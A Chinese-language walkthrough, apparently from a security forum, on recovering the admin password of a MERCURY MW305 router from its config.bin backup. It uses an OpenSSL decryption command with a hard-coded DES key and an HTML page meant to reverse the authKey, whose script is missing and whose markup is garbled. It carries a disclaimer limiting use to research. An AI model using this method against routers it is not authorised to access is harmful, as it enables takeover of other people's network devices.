路由器config.bin备份文件密码提取 水星 MERCURY Wireless N Router MW305

软件准备:Win32OpenSSL(区分32位、64位)

192.168.1.1/config.bin

**.**.**.**/config.bin

下载路由器配置文件(本次附件为32位测试)

将Win32OpenSSL安装在C盘,将<config.BIN>文件放在Win32OpenSSL的安装目录bin文件内

然后运行CMD

1、CD C:\OpenSSL\bin

3、openssl enc -d -des-ecb-nopad -K 478DA50BF9E3D2CF -in config.bin

找到首行authKey0rZily4W9TefbwK

此为加密过的用户后台登陆密码。

这段加密字串“0rZily4W9TefbwK”

生成计算器:

测试工具网页格式,代码部分另存成网页html文件代码复制到TXT,然后将后缀更改为html

<!DOCTYPE html PUBLIC "-//W3C//DTDXHTML 1.0 Transitional//EN""">qdpp007@**.**.**.**</a></span><br/>

<spanstyle="text-align:center">免责声明:本计算器程序(方法)可能带有攻击性,仅供安全研究与教学之用,<br />用户将其信息做其他用途,由用户承担全部法律及连带责任,本人不承担任何法律及连带责任。

</span>

<form action=""method="get"><fieldset><legend>源码测试</legend>

密码[最小6位]:

<input name="pwd" type="text" id="pwd"size="15" maxlength="15" />

<input type="button"name="btnOK" id="btnOK" value="计算KEY"onclick="lgDoSub()" />

<br />

<br />

显示 pwd:

<input name="dspPwd"type="text" id="dspPwd" />

<br />

<br />

显示 strDe:

<input name="dspStrDe"type="text" id="dspStrDe" />

<br />

<br />

显示 Dic:

<textarea name="dspDic"cols="70" rows="4"id="dspDic"></textarea>

<br />

<br />

显示 ASC码表:

<textarea name="dspAsc"cols="70" rows="2" id="dspAsc"></textarea>

<br />

<br />

结果 Auth_key:

<input name="dspAuthKey"type="text" id="dspAuthKey" />

字符宽度:

<input name="dspLen"type="text" id="dspLen" size="5" />

</fieldset>

</form>

<br /><br />

<form action=""method="get">

<fieldset>

<legend>你懂得</legend>

Auth_key演示字符19830917:

<input name="authKey" type="text"id="authKey" value="0rZily4W9TefbwK" size="15"maxlength="15" />

<input type="button" name="btnCup"id="btnCup" value="解密KEY"onclick="AuthKeyCup()" />

15位:0rZily4W9TefbwK<br/>

<br />

原始密码字符从首行由上到下,每行任选1个字符对应密码一位,组成密码串,N行字符==N位密码:<br />

<textarea name="dspPasswd"cols="70" rows="10"id="dspPasswd"></textarea>

<br />

<br />

数据库查询SQL:

<textarea name="dspSql"cols="70" rows="10"id="dspSql"></textarea>

</fieldset>

</form>

</body>

</html>